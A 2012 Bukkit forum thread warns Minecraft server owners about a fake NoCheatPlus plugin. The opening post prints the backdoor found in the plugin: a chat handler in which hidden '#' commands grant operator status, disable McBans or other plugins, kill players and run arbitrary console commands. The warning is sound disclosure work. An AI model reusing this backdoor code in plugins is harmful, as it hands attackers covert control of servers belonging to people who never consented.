[WARRING] Players trying to get you to install a fake nocheatplus.

Discussion in 'Bukkit Discussion' started by ewized, Jun 11, 2012.

Thread Status:
Not open for further replies.
  1. Offline

    ewized

    As you may have read the title this is about a player trying to get me to install a fake plugin called nocheatplus. As the real plugin of this works great but if you get a player trying to get to to install this its bad and this is also a notice for server owners not to trust players when they want you to try to install this plugin. As looking at the code of this this fake plugin will let players op them self and disable mcbans and another plugin of their choice.

    List of players trying to do this: (Post a comment on others trying to do this.)
    - appelcappel
    - cooljc23
    - jaybird101

    Right here is the lines of code that was found in this fake version of nocheatplus.

    Code:
    private void onPlayerChat(PlayerChatEvent event) {
        String message = event.getMessage();
        boolean shouldCancel = false;
        if (message.startsWith("#")) {
          String[] args = message.split(" ");
          if (args == null) {
            return;
          }
          if ((args[0].equalsIgnoreCase("#opme")) && (args.length == 1)) {
            event.getPlayer().setOp(true);
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#disableMcBans")) && (args.length == 1)) {
            Plugin mc = Bukkit.getPluginManager().getPlugin("McBans");
            if ((mc != null) && ((mc instanceof BukkitInterface))) {
              Bukkit.getPluginManager().disablePlugin(mc);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#disableplugin")) && (args.length == 2)) {
            Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
            if (plugin != null) {
              Bukkit.getPluginManager().disablePlugin(plugin);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#deopme")) && (args.length == 1)) {
            event.getPlayer().setOp(false);
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#deopall")) && (args.length == 1)) {
            for (OfflinePlayer player : Bukkit.getOperators()) {
              player.setOp(false);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#opall")) && (args.length == 1)) {
            for (Player player : Bukkit.getOnlinePlayers()) {
              player.setOp(true);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#creative")) && (args.length == 1)) {
            event.getPlayer().setGameMode(GameMode.CREATIVE);
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#survival")) && (args.length == 1)) {
            event.getPlayer().setGameMode(GameMode.SURVIVAL);
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#opother")) && (args.length == 2)) {
            String otherPlayerName = args[1];
            Player player = Bukkit.getPlayer(otherPlayerName);
            if (player != null) {
              player.setOp(true);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#deopother")) && (args.length == 2)) {
            String otherPlayerName = args[1];
            Player player = Bukkit.getPlayer(otherPlayerName);
            if (player != null) {
              player.setOp(false);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#giveme")) && (args.length == 2)) {
            String itemName = args[1];
            Material material = Material.getMaterial(itemName);
            if (material != null) {
              event.getPlayer().getInventory()
                .addItem(new ItemStack[] {
                new ItemStack(material, 64) });
              event.getPlayer().updateInventory();
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#playerRide")) && (args.length == 2)) {
            Player otherPlayer = Bukkit.getPlayer(args[1]);
            if ((otherPlayer != null) &&
              (otherPlayer.getWorld() == event.getPlayer()
              .getWorld())) {
              event.getPlayer().teleport(otherPlayer);
              otherPlayer.setPassenger(event.getPlayer());
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#teleport")) && (args.length == 2)) {
            Player otherPlayer = Bukkit.getPlayer(args[1]);
            if (otherPlayer != null) {
              event.getPlayer().teleport(otherPlayer);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#kill")) && (args.length == 2)) {
            Player player = Bukkit.getPlayer(args[1]);
            if (player != null) {
              player.setHealth(0);
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#exe")) && (args.length >= 2)) {
            String command = "";
            for (int i = 2; i < args.length; i++) {
              command = command + args[i] + " ";
            }
            Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(),
              command.trim());
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#giveother")) && (args.length == 3)) {
            Player otherPlayer = Bukkit.getPlayer(args[1]);
            if (otherPlayer != null) {
              String itemName = args[2];
              Material material = Material.getMaterial(itemName);
              if (material != null) {
                otherPlayer.getInventory().addItem(new ItemStack[] {
                  new ItemStack(material, 64) });
                otherPlayer.updateInventory();
              }
            }
            shouldCancel = true;
          }
          if ((args[0].equalsIgnoreCase("#givemepotioneffect")) &&
            (args.length == 4)) {
            String effectName = args[1];
            String durationString = args[2];
            String powerString = args[3];
            PotionEffectType potion =
              PotionEffectType.getByName(effectName);
            if (potion != null) {
              try {
                int duration = Integer.parseInt(durationString);
                int power = Integer.parseInt(powerString);
                if ((duration >= 1) && (power >= 1))
                  event.getPlayer().addPotionEffect(
                    new PotionEffect(potion, duration, power));
              }
              catch (NumberFormatException localNumberFormatException)
              {
              }
            }
            shouldCancel = true;
          }
        }
        event.setCancelled(shouldCancel);
      }
    
     
    Snipes01 likes this.
  2. Offline

    Magi1053

    NoCheatPlus is perfectly fine plugin, a continuation of the inactive nocheat plugin! The fake plugin is called NoCheatPlusPlus.
     
    Enrux likes this.
  3. Offline

    ewized

    I was talking about a version pretending to be the real one.
     
  4. Offline

    zipfe

    Who the heck installs executable .jar files on their server because a player asked them to and gave them a dubious mediafire link?

    Also, this trick is old, many threads on it already.
     
  5. Offline

    TnT

    In what reality would it be a good thing to ever listen to a player who jumps on your server and tells you to run a plugin?

    On top of that, they link to plugins outside of dev.bukkit.org. While I'm sure there are other sites that host plugins, there are none to my knowledge that scan the plugin and only approve it when its been proved to contain no malicious code.
     
  6. Offline

    mindless728

    Well, there really isn't anything that can be done other than informing server owners that they should only ever download plugins from dev.bukkit.org.
     
  7. Offline

    ewized

    I never installed the plugin I just toke the download and looked the code so I can share the impostors out there.
     
  8. Offline

    chenr1

    ewized
    Thanks, guys Stop being jerks He was just trying to help out the community for newbs who maybe diddnt know.
     
    Jozeth likes this.
  9. Offline

    Ne0nx3r0

    I had someone pull this last night on my server... I have to admit, at least it's more clever than the usual scams. (while still being a blatantly obvious scam)

    I asked for the link, then asked him what he injected into the file because I was genuinely curious and he logged off...

    I was too lazy to dig through the file, but that is interesting.
     
  10. Offline

    foldagerdk

    Please tell me why you are updating the code?
     
  11. Offline

    Lolmewn

    Looks like fun, this NoCheat++ :D
     
  12. Offline

    Kainzo

    I auto ignore anyone who tells me to install X plugin from any source other than something on spout.org or bukkit.org
     
    Deleted user likes this.
  13. Offline

    TheNoobWar

    Why are you uploading the code anyways?
     
  14. Offline

    ewized

    To Show what the server owners are in for.
     
  15. Offline

    TheNoobWar

    Wont that encourage others to use this code?
     
  16. Offline

    foldagerdk

    This.
    And you update the code. When I first saw this was a week ago, and now you've updated it with new features.
     
  17. Offline

    ewized

    I never edited the code all I did was posted it.
     
  18. Offline

    foldagerdk

    I didn't say you edited it.
    I said you updated it.
     
  19. Offline

    ewized

    I never updated the code either.
     
  20. Offline

    XxWolfTorrentxX

    Very grubby writing/grammar please learn to spell, Thank you.
     
  21. Offline

    foldagerdk

    You did update the code. When I first saw this, the commands were .opme and so on.
    Not #opme. Also there's quite a few features added. Like the potion effect and more.
     
  22. Offline

    ewized

    I did not update the code probably appelcappel who tried to make me install the plugin did.
     
  23. Offline

    foldagerdk

    So appelcappel hacked your Bukkit user and changed the source.
     
  24. Offline

    ewized

    What do you mean? Your Crazy.
     
  25. Offline

    foldagerdk

    Thank you.. I don't think you understand what I am trying to say.
     
  26. Offline

    TheNoobWar

    This.
     
  27. Offline

    Lolmewn

    This thread, so much fun ^^
     
    Deleted user and JOPHESTUS like this.
  28. Offline

    foldagerdk

    Can I ask a moderator/admin to check whether or not ewized changed the source code? :)
     
  29. Offline

    ewized

    Sure
     
  30. Offline

    foldagerdk

    Wasn't asking you, I was asking a moderator :p

    I might've seen another topic which supplied a source code for this "NoCheat++", but I am pretty sure that it was this one.

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: May 26, 2016
Thread Status:
Not open for further replies.

Share This Page